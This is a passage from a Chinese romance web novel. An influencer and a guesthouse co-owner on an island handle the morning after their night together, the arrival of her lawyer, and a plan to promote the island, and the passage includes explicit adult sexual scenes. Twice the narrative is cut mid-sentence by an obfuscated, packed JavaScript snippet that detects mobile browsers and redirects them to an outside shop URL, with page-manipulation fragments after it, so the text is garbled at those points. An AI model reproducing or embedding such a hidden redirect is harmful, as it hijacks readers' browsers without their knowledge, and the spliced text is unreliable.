随后散落的衣物也被他一件件拾起并挂好,因跌撞而变得杂乱的座椅,他也重新规整摆正至原位,每一个动作都轻缓而仔细,仿佛在整理一场盛大潮汐后留下的浅滩,包括那瓶被短暂遗忘的青草膏,也被他从窗帘的背后找回。
他旋开瓶盖,指尖沾上一点清凉的膏体,在掌心匀开,然后低下头,动作轻柔地涂在麦初被蚊子叮咬后泛红的肌肤上,但这些叮块都不及他在她全身留下的痕迹。
当然,她在他身上留下的印记也同样深刻,划痕咬痕泪痕混杂,连他在冲凉时都还鲜活地灼刻在他的皮肤上,在冷水的刺激下隐隐泛着疼,他当时就低笑了一声。
她怎么真的,像只猫一样。
此时微凉的膏体与他的指温一同化开,青草的气息淡淡弥漫开来,安静地渗入这个刚刚恢复秩序的夜晚里。
即使他已经小心翼翼,麦初肩头还是微微颤了一下,她梦到了从前的自己。
梦里,她正在工作,有路人认出了她,上前想要合影,还未经她同意,咸猪手已搭上了她的肩和腰,她猛然一僵,向来排斥与人肢体接触的她一下将那人推搡开,然后就发生了前所未有的口角冲突,激烈处对方举起手机朝怼脸录视频,扬言要去网络上把她搞臭,她的工作被迫中断,现场一片混乱。
事后,公司管理丝曾丝毫不去了解事情的起因,只对着她劈头盖脸的一顿输出。
“你一个小小的网红,也就攒了点小小的粉丝,有了点小小的起色而已,怎么?还真把自己当成顶流了?人家粉丝愿意跟你合影是看得起你,给你脸了是吧?还在这儿给我小牌大耍。”
说话的人全程坐着,用审视的眼光上下打量着麦初,仿佛她只是一件明码标价的商品。
“你也就是靠脸出圈,但这年头,什么美女没有?只要我肯培养,分分钟有人取代你!别以为自己漂亮就能为所欲为,我换个人培养,一样能火。记住,没有公司给你曝光度,你什么屁都不是。”
“好啊,正好我也不想听你放屁,我走了就是了。”
“什么?”被激怒的对方猛地站起身,椅子与地板摩擦出刺耳的响声,威胁她,“你再说一遍?!”
“我说——我不干了。”
麦初冷笑一声,直接甩门而去,身后被撞出一声巨响,几乎同时,屋里传来一阵怒吼。
“我一定会封杀你,你等着从这个网络上消失!彻底消失!”
……
麦初麦初眉心紧蹙,猛然睁开了眼。
视线先是模糊地晃动,随后才慢慢聚拢,她渐渐意识到自己不在那个讨厌的公司,而在“倦”的房间里。
昏暗的光晕中,乔翊正垂着眸为自己涂抹药膏,指尖带着膏体微凉的润意。
原来只是一场梦。
她绷紧的弦这才重新放松了下来,享受着他指尖的抚摸,同时对他发出喃喃低语,“乔翊,以后我保护你啊……”说完重新合上眼,任由意识缓缓下沉,再次睡去。
乔翊抬眼,却错过了她醒来,凝视着她的睡颜,听着她逐渐绵长的呼吸,他眼神便不由自主地软绵下来,满是柔情。
乔翊消失了一个晚上,最着急的是佟川,以至于他一打开手机,佟川的信息和未接电话一股脑地弹了出来。
佟川:【人呢?】
佟川:【你人呢?】
佟川:【你人去哪儿了?】
佟川:【你人到底去哪儿了?】
乔翊赶紧补回了一条,【回去了】
发完才发现还有一条未读消息来是自发小的。
两人自幼一起长大,后来又一道出国留学,最后人生的轨迹将他们分开,乔翊毅然回了国,而他则留在了美国,不过距离从未冲淡他们的感情,他们一直保持着联络,虽不算频繁,但互相知道对方最新的动态,他每次回国也会第一时间去夏安岛看望乔翊。
他先是发来一条视频,正是目前全网正火的“一眼万年”。
尽管乔翊当时以口罩掩面,可网友仅凭借着那出众的外形轮廓和一双极具辨识度的眼睛,以及半掩下挺立的鼻峰,便笃定他是个帅哥,如今全网都将期待值拉满,议论不绝。
众人还在吃瓜,只有他这个再熟悉不过的发小,一眼就认出了他,还有夏安岛那片标志性的玻璃海。
现在全网都在海底捞,捞到他这个男主角远在漂亮国的朋友都刷到了,于是他赶紧向本人发去视频询问。
【你跟这女网红……你俩认识吗?】
却迟迟没有得到回复。
大概是房内的空气太热,麦初一个翻身直接踢开了被子。
于是这位正在被全网热议的男主角,将臂弯里睡得不老实的女主角悬挂在床边的长腿捞起,给她重新盖好被子后才给朋友发出回复。
【昨晚刚认识】
这次轮到发小那头迟迟没有回复。
乔翊便点开他发来的视频又看一眼,第一遍他看得潦草,第二遍屏幕上弹出了跳转应用的提示,他顺手一点,便进入了短视频平台,这才发现这条视频的点赞和留言双双破了十万加,并且看样子热度似乎还在持续飙升。
除了跟风的嗑CP,也有不少质疑声接踵而来:摆拍?炒cp?蓄意策划?
网友们议论纷纷,疯狂盖楼留下评论,而一条“世间最伟大的一见钟情”的留言,以最多的点赞量和居高不下的盖楼率,稳稳占据了评论区置顶的位置。
乔翊目光牢牢锁定在那一行字上,不知过了多久,他眉梢微动,随后抬起指尖,在那条评论的右下角,无声地点亮了一颗爱心……
次日一早,当熹微的第一缕晨光透过玻璃一点点穿进民宿的大堂内,乔翊从民宿楼梯上走了下来。
正在前台核对账单的佟川闻声抬了抬头,起初他只当乔翊是去楼上给客人送东西,便又很自然地低下头继续看账单本。
“我说你下次回去能不能先知会一声,昨晚突然跑得人影都没有,叫我一顿好找。”佟川一边翻着页一边吐槽,蓦地想起什么,嘴里发出“嘶——”地一声疑惑,“你什么时候过来的?昨晚我值夜班,怎么没看到你进门?”
说完他总觉得哪里不对劲,抬头重新对着他审视起来,发现乔翊发梢间泛着湿漉的水光,在浅浅阳光下晶莹剔透,显然一副刚洗过澡的样子。
于是他骤然警觉,目光从乔翊的脸移和他身后的楼梯来回游移,直到一个念头猛地窜进脑海,他先是震惊,然后瞠目道。
“你,你昨晚,在楼上过的夜?”
乔翊整个人漫不经心地下了楼,也不否认。
“嗯。”
佟川手中的笔直接掉了,舌头难得的打起结来。
“你……她……你们……?”
“嗯。”
佟川猛地从座位上弹了起来,但到底上了年纪,突如其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182758|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的动作导致脑供血不足,两眼一黑有些眩晕,不得不双手撑住桌面,手下的账本纸页因此被按得皱起,如果没有有服务台挡在前方,他恐怕已经冲了出去。
“乔翊!”他克制着直呼他的姓名,“你疯了你!”
相比佟川的反应,乔翊却显得十分镇定。
他说:“我知道我在做什么。”
佟川把账本一拍,纸张哗啦作响,他重复一声,“你知道?”接着他双手一摊,下巴在半空上下点着,“行,你知道。那你说说,你俩现在算什么?”
乔翊当即噤声。
佟川步步紧逼,直戳他心窝。
“搞对象?算吗?”
乔翊缄默不言,越发让佟川憋闷,“你们这才认识几天?你了解她多少?万一她有男朋友……”
这民宿里,他见过形形色色的人,其中不乏不明不白开始,不清不楚纠葛,最后潦草收场的男男女女,即使他相信乔翊的为人,却也怕他一时上头,当局者迷,跌进一场糊涂账里。
“她没有,我也不会。”
乔翊对此却是斩钉截铁。
佟川知道他最是忌讳这种第三者插足的话题,也就此打住。
随后他叹了口气。
“且不谈她是店里的客人,你跟客人纠缠不清本就是个大忌。就算你们年轻气盛相互看对了眼,男欢女爱情难自已,可以后呢?她走了之后呢?你想过没有?”
乔翊偏开脸,声音有些发干。
“没想那么多。”
“放屁!”佟川像个关心则乱的家长,此刻只想骂醒他,“你这么长情的一个人,又难放下事,不管人还是事,都能搁在心里头捂这么多年,更何况是你自己的感情。”
自打民宿开张,朝乔翊示好的女顾客就没间断过,他俩虽是合伙人,但站台出面的事却一直是他这颗老帮菜来应付,为的就是避开很多不必要的麻烦,可近来妻子的病情不大好,透析时被扣下了,他只得频繁往返市里医院,瞿阿姨又请假,所有的事全凑到了一块儿,无奈之下才让乔翊过来顶他,给店里帮衬帮衬。
偏在这档口,麦初出现了,她相貌出众,头脑清醒,心思又活络,满脑子都是主意,是那种只要她愿意勾手,就能让男人上道的聪明女孩,乔翊读书的智商再高情感上智商为负,怎么会是她的对手,所以才被勾得五迷三道。
佟川句句没提却又句句是他的那个人那件事,也是他们两人心底最深的创伤。
乔翊目不转睛地望着窗外的日出,矢口否认。
“这是两码事。”
“我不了解她,我还不了解你?”这回他长叹一声,语重心长,“我就是怕你把身心都投入进去,到头来人家头也不回地走了,只留你一个人在原地收拾残局。”他把那本先前被自己拍皱的账本重新抚平,带着如同兄长般的疼惜,“你的病,才刚好一点,经不起再折腾了。”已经褶皱的纸张,任凭他再努力也无法恢复如初,他只得将本子合上,用电脑键盘压住,话音也随之沉下来,“我和你嫂子也承受不了再失去一个亲人……”
“不会的。”乔翊明白,佟川是怕他受到伤害,怕他又把自己折磨得人不像人,鬼不像鬼。
这些年,他们早像一家人般心系彼此,相互牵挂,他向他保证,“我会处理好,你别担心。”
佟川摇了摇头,事已至此,他只剩下无可奈何。
“但愿如此。”
*
麦初这一觉睡到晌午,朦胧间听见乔翊清浅带上门的声音,可倦意实在太重,眼皮沉得掀不开,便又睡死过去。
麦初醒来时,房间已经被收拾得整洁一新,她在床上怔怔坐了好一会儿,望着眼前有条不紊的一切,心想。
乔翊他,莫不是有洁癖吧?
看了眼时间,错过了早餐的她只能直接进行brunch,于是稍作整理,她下楼去了餐厅。
此时的餐厅内,只有瞿阿姨在打扫卫生,佟光则雷打不动地趴在餐厅桌上写着作业,一看见她就打招呼,“小麦姐。”
佟光见她将防晒服严严实实地拉到下巴处,困惑地开口,“小麦姐,你很冷吗?要不要我把空调给你调低点?”
麦初脖颈微微一热,原本的镇定漏了半拍,她立即找了个借口搪塞过去,“昨天被蚊子咬了,有点,过敏。”
“那你得涂青草膏啊,我们店里有,我你要吗?”他把笔一放,一副要去给她找来的架势。
麦初忙说,“我有的,已经涂了,谢谢。”
佟光这才重新拿起笔,“没事儿。”
自助的早餐还没有收走,麦初不是太有胃口,只盛了一碗南瓜粥暖暖胃,她刚低头舀了两口,不安分的佟光又开始没话找话说。
他咬着笔头随口问了一句。
“对了,小麦姐,你还会在我们岛上待几天啊?”
佟光问出这话的时候,乔翊正好推开门帘回到民宿,刚到前厅,就听见麦初的声音从餐厅那头传来,一字不落地撞进他耳中。
“我不走了。”
周身寂静,这个答案如奔涌的潮水般漫过全身。
他脚步一顿,正好被自动贩卖机挡住,皮肤下的每一寸知觉似乎都在悄然张开,心跳也毫无章法地在胸口横冲直撞。
是,因为……他吗?
可下一秒他又如坠冰窖。
麦初的声音随着瓷勺的搅拌声轻轻响起,像在补充。
“暂时不走,后面总归要走的。”
25. 25
麦初之所以留下,是因为姝言要来,并且不出意外的话今天就会到。
至于她为什么会突然过来,还得从那天她俩的微信聊天说起,不过这件事她还没告诉乔翊,确切的说是还没来得及同他商量。
麦初漫不经心地搅着南瓜粥,正要向佟光开口问乔翊的踪影,却被他一声突兀的“咦?”先打断了思绪。
“小麦姐,你眼睛不是一直是蓝色的吗?怎么今天变成黑色的了。”
麦初下意识地眨了眨眼睛,想起他俩初次见面时的情形,佟光根据她的姓氏推断她是新疆人,当时为了不打击到他的自信心,她没忍心当场说破,可历经昨夜,她连捯饬自己的力气都没有了,素面朝天地下来觅食,却被他瞧出端倪,眼看再也瞒不住了,只好据实相告。
“之前眼睛是蓝色是因为我戴了美瞳,美瞳你知道吗?不是我天生的颜色,是一种有颜色的隐形眼镜,以前来你们店住宿的小姐姐里,应该也有戴的吧?”
佟光作为半个小掌柜,每天迎来送往那么多客人,美瞳这种东西对他来说的确算不上新鲜玩意儿,可当初把她认作新疆人又不止凭那双蓝色的眼睛。
“可你姓麦不是吗?”
他的反问令麦初避之不及,“是姓麦没错……”
佟光双手一摊。
“那不就是麦麦提的麦嘛!”
麦初只得纠正,“是麦麦提的麦没错,可麦和麦麦提,是两个不同的概念,而不是都归属于麦姓。”
佟光本来就是学渣,一下被她绕晕了,他百思不得其解。
“可不都是麦嘛?”
连一直站在前厅的乔翊都听不下去了。
所谓“教不严,师之惰。”就在他要跨步上前出现时,民宿的门再次被推开。
只见佟川站在外面,他一手掀起挡着冷气的透明塑料帘,侧身让客人陆续进入,几人推着行李,零零散散地走进来。
乔翊离门口很近,见状也迎上前帮忙搬运,就在他接过一件行李时,目光不经意间掠过末尾的男住客,只见此人西装革履,锃光瓦亮的商务皮鞋,一只精小的Rimowa行李箱,光站在那里,便与其他游客划出了一条泾渭分明的界线。
与其说他是来旅游度假的,更像是来参与重要会议的精英人士。
这人从上岛后就一路观察,进到“倦”后也四下打量,在无意撞到乔翊的视线后,他一个颔首,算是友好地打招呼。
乔翊也以颔首回应,并顺势问他,“您好,请问有什么可以帮您?”
对方大概把他当成了店小二,想了想最终摇摇头,拿着身份证先排队办理入住,只是神情始终若有所思。
此时“倦”已进入正常的营业时间,由瞿阿姨在前台给客人们办理入住,佟川和乔翊两名壮丁负责搬行李。
等待的过程中,西装男握在指间的身份证无意识地轻叩着台面,发出一下又一下的“哒哒”声。
餐厅里,佟光与麦初的讨论声断断续续地传来,麦初也没料到只想快速填饱肚子的自己,居然会跟一个小学二年级的孩子就自己的姓氏问题展开激烈的探讨。
由于前厅与偏厅之间仅隔着两台自动贩卖机,几乎毫无隔音可言,此刻他俩的每一句话都清清楚楚地飘进在场的每个人耳中。
西装男指尖的敲击渐渐缓慢了下来,他眉心微蹙,侧耳听了几秒,随后干脆转身朝声音来处望去,朝偏厅方向探了探身。
随后听到他一声惊喜的呼唤,“麦初?”
这一声,不仅让麦初倏然回头,连乔翊和佟川也在前厅不约而同地望了过去。
麦初的第一眼先是落到了西装男身后的乔翊身上,随后,她的视线才顺声回溯到了他身上。
对于这个人的出现,她显得很震惊。
“你,你怎么在这儿?”
“来找你的。”西装男入住也不办理了,他走进餐厅,直奔麦初而去,人往她对面的位置一坐,目光沉沉,似有许多话要说。
他上来就把自己手机往麦初面前一放,急切中带着责备。
“总算找着你了。昨晚到现在,信息不回,电话也不接,我早说过我们得随时随地保持联系,你怎么能突然失联呢?”
佟川一看他这架势,心也跟着被撂下的手机咯噔一下,他立刻放下手中的客人行李,疾步来到乔翊身旁,极力克制着自己的嗓音,上气不接下气地对他质问。
“你不是说,说她没男朋友的?现在人家都找上门来了,你要怎么办?你能怎么办?”
“该怎么办怎么办。”
比起佟川的不淡定,乔翊的反应截然相反,他手上搬运行李的动作依旧有条不紊地进行着,仿佛一切如常,甚至全程周到地将客户连同行李一起带进电梯,贴心地护送上楼,徒留佟川在原地对着电梯门干瞪眼。
乔翊只是不愿意再听到他们的对话,听到他们真实的关系。
虽然相信她的为人,之前也清楚地在出海游艇上听见她回答别人没有男朋友,可他心底的惶恐本能地跑在了理智前面,所以他选择了逃避,连同自己怯懦的心绪,一并藏进里电梯里。
等将这批客户都妥善安置,他才缓缓步入电梯,当电梯重返一楼,门缓缓打开,麦初和那位西装男赫然并立在门口。
麦初虽然没有化妆,却难掩脱俗的气质,与身旁男人那种精英感站在一起竟莫名和谐,只是这种和谐落在乔翊眼里却异常刺眼。
麦初刚才在餐厅只是稍一分心,乔翊便一下没了踪影,此刻在电梯前再次不期而遇,她下意识地想跟他说话,可张了张口,最终又什么都没说出口。
乔翊笔直地站在电梯内没有挪动一步,神情疏离,视线在他们之间可以再横跨两个人的距离中一扫而过,直至电梯门将要恢复闭合的那一瞬,他才抬手按下开门键。
“几楼?”公式化的询问宛如一个毫无情绪的ai语音。
向洵刚进民宿的时候跟乔翊照过面,理所应当地把他当做提供住宿服务的服务生,住惯了五星级酒店的他也很习以为常地将自己的行李箱往前一推,以为对方会自动接过,然而乔翊只是目光平静地掠过他,人却未动分毫,直到电梯门又一次即将关闭,才听他再度开口。
“几楼?”
那只被期待接手的行李箱,安静地横亘在三人之间,最后只得由向洵默默将其收回到身侧。
他抬手清了清嗓以此来掩饰尴尬,随后说,“五楼。”又回头问麦初,“你几楼?”
麦初先他一步进到电梯,“六楼。”
“你住的是海景房?”向洵追问着紧随其后。
刚刚办理入住时他想要这里最好的房型,却被前台告知最好的海景房都满房了,只能退而求其次入住五楼的观景房。
麦初心不在焉地嗯了一声,尚未察觉的向洵还在问她是怎么找到这座岛,这家民宿的。
他环视着电梯内的装饰,发出一句感叹,“我这还是头一回住民宿呢。”
电梯已缓缓上行,麦初听着却没应声,她站在向洵身后的位置,不知不觉间,这次与乔翊比肩而立了,两人距离不远不近,却共享着同一方狭小空间里沉默的空气。
向洵的目光扫视了一圈又一圈,话也没有停下,“不过有一说一,这家民宿老板的品味和审美都不错,从装修上能看出是花了心思的。”他抬起一只手在电梯内壁的材质上轻轻一叩,随性地开启了鉴赏模式,“光这台电梯,应该是蒂森克虏伯的定制款,价格不菲。”他收回手的同时又笑了笑,“看来这位老板,还挺舍得下血本的。”但很快他又把说了回来,给出一个所谓的结论,“就是大材小用了,这座岛人气不够,我看成不了什么气候。”
狭小的电梯轿厢内,空气仿佛凝固成一种无形的低气压,牢牢地包裹着麦初,让她浑身不自在,四面的镜壁将乔翊沉敛的侧影无声地映在其中,她悄悄抬眼,偷偷看向前方光洁如水的镜面门,那里完整地映出了乔翊沉静且看不出喜怒的轮廓。
由于迟迟得不到回应,向洵便回头看向沉默的麦初。
“你今天看起来怎么魂不守舍的?总有心事似的。”他语气里带着点探究,随即注意到她的穿着,又问道,“还有你很冷吗?裹这么严实,拉链都拉到下巴了。”
他这句话一出,麦初总算有了一丝反应,她脱口而出。
“那也冷不过你,大夏天穿个西装也不怕中暑。”
被她回击后向洵也不恼,反而不以为意地笑着打趣,“为了赶过来,刚参加完一个重要会议就马不停蹄地赶飞机,一路上还没来得及更换。”
他话音刚落,“叮——”地一声,五楼已到。
向洵一边推着行李往外走,一边匆匆回头提醒麦初:“手机一定保持通畅,别再让我找不着人。”他又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182759|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想起她昨晚失联,以防万一,他探回半个身子干脆问清楚,“对了,你房间是六零几来着?”
反正现在下榻一个民宿,实在不行他去上门找她便是。
但这次电梯门没再给他机会,平稳地向中间合拢,向洵被那逼近的门扉逼得后退一步,就在这一步之间,电梯门很快闭合,将他的话和人一并关在了门外,就此与麦初分开。
外面还传来向洵不死心的提醒,“麦初,记得要看微信!”
厢体重新上行后他的声音才慢慢听不见。
电梯内这下只剩下麦初和乔翊两个人了,麦初侧过头看着他线条流畅的侧脸,在这简短的一层楼上下的时间内率先打破沉默。
“他是我的代理律师。”
她就这样没有任何隐瞒地向乔翊坦白。
“我和前公司的历史遗留问题就多的剪不断理还乱,我这次直播带货复出,又闹出不小动静,对方为了打压封杀我,昨天通宵都在铺天盖地发黑稿。他来,就是为了跟我商量如何处理后续的。”
刚刚在楼下餐厅,向洵立刻给她看了网上有关自己的一堆黑稿,但这一次,情况有些不同,网络上开始涌现出大量支持她的声音,在许多抹黑内容的评论区,越来越多的人站出来为麦初说话,声浪逐渐倒向她这一边。
这股舆论的风向让向洵看到了转机,他并不知道麦初这股突如其来的流量从何而来,也无心去探究,对他来说这些都不重要,重要的是,眼前那场几乎毫无胜算的官司似乎有了一丝新希望,让他觉得兴许他们还可以借着网络这阵风再搏一次。
事不宜迟,他连夜联系麦初,却始终没有回音,情急之下,他这才转而联系了姝言。
姝言却告诉他,她跟麦初都不在沪城,不过她明天就会跟麦初汇合,有什么要事她可以替他转达。
向洵当即在手机上打了一长串需要交代的事项,但快收尾的时候他蓦然顿住,想了想后又全部删除,他直接问姝言。
【你说你明天要去哪儿?】
姝言:【夏安岛】
于是正在京城酒店下榻的他,连夜买了一张去夏安岛省会的机票,一早到了机场就打车前往目的地。
一路辗转,才风尘仆仆来到了这里,出现了刚才的种种画面……
乔翊按在关门键上的手指蜷了蜷,转而又不动声色地移向了开门键上,随后略微低了低头。
“我知道。”
麦初颇感意外地看向他,“你,知道?”
乔翊颔首,坦言自己早已看出,“你们是工作关系,这不难看出来。”
麦初反应了一会儿,也跟着点了点头,又说,“既然都看出来了,那你为什么还一直针对人家?”
偏身斜倚的乔翊,将肩膀松松地抵在电梯壁上,他迎着她的目光,不答反问:“有吗?”
麦初凝视着他,试图能在他的表情中找到一丝端倪,“没有吗?”
可他隐藏的极好,她一无所获。
就在两人对视时,身后走廊传来了由远及近的脚步声。
麦初瞥了一眼电梯外即将走近的人影,伸手攥住乔翊的手腕直接将他带出了电梯。
“别按着了,电梯别人还要用,老占着不好,跟我来。”他的小动作早就被她尽收眼底,她拉着他直往走廊深处快步走去,那是他再熟悉不过的方向。
乔翊腕间触到她指尖带来的温度,目光凝落在她晃动的背影上,明明只要一个反手稍稍收力就能将她轻而易举地钳制,却放任自己像个手无寸铁的人,任由她一路牵引。
直到人都站到了她房间门口,才问出一句,“来这儿,做什么?”
“进去说。”麦初只顾闷头开门,门锁“咔嗒”一响,她便将他往里一推,自己随后跟入,反手便关上了门。
随着“砰——”地一声,一切动作一气呵成……
而与此同时的五楼——
向洵一边握着房卡,一边推着行李,寻着上面的房间号终于在接近走廊尽头的那间房前停下了脚步。
他放开行李箱,一只手松扯开衬衫衣领扣子,一只手撑着腰,总算能好好地喘口气。
安静无声的走廊里,他形单影只,他盯着立在脚边的行李箱看了几秒,忽然回过神来。
不对啊,刚才那个服务生,不是应该送他到房门口的吗?怎么给他按个电梯就完事了?人呢?
26. 26
房间里,麦初把自己准备将小岛与主流媒体合作的推广计划,一五一十地向乔翊全盘托出。
“我闺蜜是那档综艺的副编导,目前除了拍摄场地,节目组还在物色‘心动小屋’,这个地方至关重要,几乎一大半的拍摄场景会在那里发生,它是男女嘉宾们朝夕相处、共同生活还有产生化学反应的核心场所。我就顺势而为,同时推荐了‘倦’,这样小岛和民宿可以联动出镜,应该能达到不错的宣传效果。他们今天下午就会来岛上实地考察,本来昨晚我就想告诉你,只是……”她稍作停顿后继续,“就,没来得及。”
她说完核心内容,又赶紧跟他打招呼。
“抱歉,现在才和你讲这件事,不过他们这次只是先来看看,目前还有好几个候选地都在考虑中,最终拍摄地的归属定还要回去商议后才能定夺,所以一切都还是未知数。”麦初看向半倚在桌边的乔翊,见他始终沉默着,没什么反应,她又小声补充,“如果我的自作主张给你和小岛带来了困扰,你随时都可以拒绝。”
“你特意拉我过来,就为了说这件事?”确定她已经讲完,乔翊总算动了动,他收起那条倚靠在桌沿时微曲的长腿,站直时,身高的差距又一次将她完整地笼罩在自己的影子里。
麦初从勉强平视又恢复到仰视,她慢吞吞地点了点头。
不,不然呢?
这一仰头,她原本藏在衣领下的吻痕不经意间露了出来,正好落入视线伏低的始作俑者眼底。
乔翊眸色渐深,目光定格在她身上,却开口说,“该说抱歉的是我。”
他话题突然跳跃,令麦初纤细的长眉轻轻微挑表示不解。
乔翊克制地站在原地,只用下巴朝她颈间示意了一下,而后开口询问。
“还疼吗?……昨晚。”
等麦初慢半拍地反应过来,迟来的热度也蔓延至整个脸颊,她好不容易找到机会,又费了老半天劲跟他说这件无比重要的事,他却心不在焉的,有股鸡同鸭讲的挫败感,她又羞又恼,一个没忍住伸手就往乔翊身上推捶了一记。
“我跟你说正事呢。”
乔翊却顺着她的动手动脚一下抓住了她的手,随后将人扣进怀中。
“还疼么?”他低了低声,又问了一遍。
麦初就这样紧贴在他温热的胸口,说不清缘由的,一颗心就倏然安定下来。
她也顺势环抱住他,很自然地将手探进他两侧深深的裤兜里,继续嗔怪不已。
“你说呢?”
乔翊嗅着她发丝上淡淡的香气,将责任全部揽到自己身上,“是我不好,没控制住……”
他不说还好,越说麦初耳根更热,便故意轻踩了一下他的脚打断。
“不许再说了。”
乔翊便不再作声,只静静拥着她,两人依偎在一块儿,许久都没有说话,可抱着抱着,事情慢慢就变得不对劲起来。
麦初的手不知何时开始在他裤袋中暗流涌动,乔翊原本还算平稳的呼吸在麦初轻拢慢捻的动作中开始变得不再有序。
等乔翊意识到麦初隔着自己裤袋里做什么时,已经晚了,他的男性荷尔蒙在她不安分的手中开始从最初的觉醒演变到伟岸崛起。
他呼吸一紧,压低嗓音先唤她,带着几分警示的意味。
“麦初……”
“嗯?”
麦初仰头应声,手上的动作却未停,还在有恃无恐地为非作歹。
乔翊想腾出手去制止她,却发现自己的双手连同身体都被她用双臂牢牢困锁住,动弹不得。
他又压抑地唤了一声,“麦初。”
在依旧没有得到回应后,他听到了自己心底的一声叹息,随后探下身对着她的唇精准地咬去,唇舌相接的那一刻,他彻底放任了自己,手臂一个发力不费吹灰之力便挣开她的束缚,他一把将她腾空抱起,转身托坐在身后宽大的桌面上。
然后,他架起她的双腿折放在桌上,随着他单膝跪地,他用近乎虔诚的姿势,将自己全然匍匐在麦初的视线之下。
麦初脑中一片空白,思绪彻底停转,她一只手向后撑住桌面,另一只手深深没入乔翊浓密的发丝间,随着他每一次用力的埋进贴近与深入地探寻,她逐渐难以承受,被他按住且蜷起的双腿在他的一个疏忽下摆脱了束缚,难受地在空气中左右摆动,画出凌乱的弧线,慌乱间,她的脚尖甚至踢上了他的肩膀。
她的指甲划伤了乔翊的皮肤,他隐隐吃痛,但并不妨碍他继续进攻的动作,麦初也在他的步步紧逼下节节溃退,渐渐的,她的手臂再也支撑不住,挪动间不小心打翻了早上才喝了一半的矿泉水,潺潺的流水瞬间倾泻了一地,在地板上泛着闪闪的银光。
直到麦初脚趾蜷缩,腿根发颤,小腹急速绷紧,终于在一阵近乎痉挛的收缩后,灭顶的快感遽然掠遍全身,她失控地仰起头,喘息声破碎断续,喉间呜咽着挤出他的名字。
“乔翊……”
乔翊也喘着气,耐心地等她从天堂重落地面,等两人的呼吸都渐渐平复,他才抬起头,重新站起,他长手一揽,将瘫软无力的她整个捞入怀中抱起。
突如其来的失重感让麦初下意识地攀附在他紧实的上身,肌肤相贴处仍在温存中微微战栗。
她先前紧实的外套早已衣不遮体地半挂在臂弯处,随着他抱离桌沿的动作,轻轻滑落在地,她大汗淋漓地深埋进他胸膛,带着几分恼意,报复般在他心口处不轻不重地咬了一口。
乔翊却不以为意地低笑一声,他不忘提醒。
“是谁先招惹的谁?”
麦初用小腿轻轻踢了他一下,在他怀里挣了挣想要下来,她呼吸还未平稳,脸上的余韵尚未消退,却断断续续地说,“放我……放我,下去,我要去洗手间。”
乔翊非但没有松手,手臂反而收得更紧,他打横抱着她径直朝卫生间走去……
此时,向洵正坐在房间的沙发上查看邮件,手指在屏幕上快速敲击,陆续回复着客户与同事的消息。
可楼上时不时传来桌椅摩擦地板的声响,断续且清晰,其中夹杂着几下“咚咚”的坠落声,像是总有什么东西被碰落在地。
当这些响动接二连三地传来,总是有一下没一下地扰乱他工作的节奏时,他眉头的也随之越拧越紧,实在忍无可忍后,他垮着脸扔下手机,一把拿起了房间里的座电话,拨通了前台的座机。
“您好,我是前台,请问有什么能帮助到您?”
“你好,我是532的住客,我房间楼上的住客动静有点大,已经影响到我正常作息了,我还有神经衰弱,希望你们能给我换一间安静的房间。”
“啊,很抱歉给您带来了困扰,您看能不能等我查询空房情况后,再给您回电话?”
“可以,谢谢。”
“不客气。”
佟川这会儿正站在前台抓着佟光审问。
“刚才你不是一直坐在小麦姐姐旁边吗?那个男的都跟她说什么了?来,把你听到的都跟我说说。”
佟光完全一副掉线状态,“哪个男的啊?”
佟川对他关键时刻就掉链子的样子十分无语,但还是忍住没发作,“就那个大夏天穿个西装的。”
“老爸。”佟光的表情变得更加困惑了,“不是你跟老乔教过我,偷听客户讲话是件很猥琐的事情,不是正人君子所为,所以我第一时间就跑开到其他桌上认真做作业啦。”他边说边挺了挺胸,一脸“快夸我懂事”的表情。
佟川扯了扯嘴角,皮笑肉不笑地,“是么?”
佟光立刻点头如捣蒜,“是啊是啊!”
可佟川还不死心,“你就,一点都没听到?”哪怕一点边角料?
“真的一点都没听到啊!”佟光耸耸肩,努力维持着“专注学习无法分心”的人设,“而且我这个人,你也是知道的,一旦认真做起事来,哪里还能一心二用的啊?”
佟川没再接话,就那么静静看着儿子表演这死出。
“不过吧……”佟光忽然话锋一转,令佟川以为有什么其他信息能够捡漏。
他赶忙追问,“什么?”
佟光又抱起双臂学起柯南扶眼镜的动作,摆出一副老神在在的推理架势,“看他这么紧张地找小麦姐姐的样子,我猜,他就是她的男朋友吧!”说完还朝佟川眨眨眼,寻求思想上的共鸣,“老爸,你说呢?”
父子俩连接失败。
“我不想说,你也不要说了。”
佟川听得太阳穴越来越胀,简直大失所望。
正在一筹莫展之际,刚好又听到了一旁瞿阿姨与住客通话的内容,出于老板的敏锐度,他在电话挂断后立即询问,“怎么了?”
“532的客人反映楼上房间太吵,想换一间房。”瞿阿姨告诉他。
由于今天这波客人入住都是由瞿阿姨办理的,佟川并不清楚532具体住的是谁,他听完只说:“那你查一下六楼还有没有空房,给这位客人做个免费海景房升级吧。”
“可六楼的海景房已经全满了,”瞿阿姨解释道,“当时这位客人入住时也表示首选海景房。”
佟川仍没太在意,只吩咐道:“那就看看同房型还有哪些空着的,给他换一间观景视野最好的,另外再免费送一份下午茶套餐一起端过去。”
瞿阿姨点头应下:“好的,我这就处理。”
就在瞿阿姨重新拿起听筒准备回拨时,佟川像是被什么击中似地想起什么来,他心头猛然一沉。
当即反应到532房间楼上的632,正是麦初入住的那间海景房。
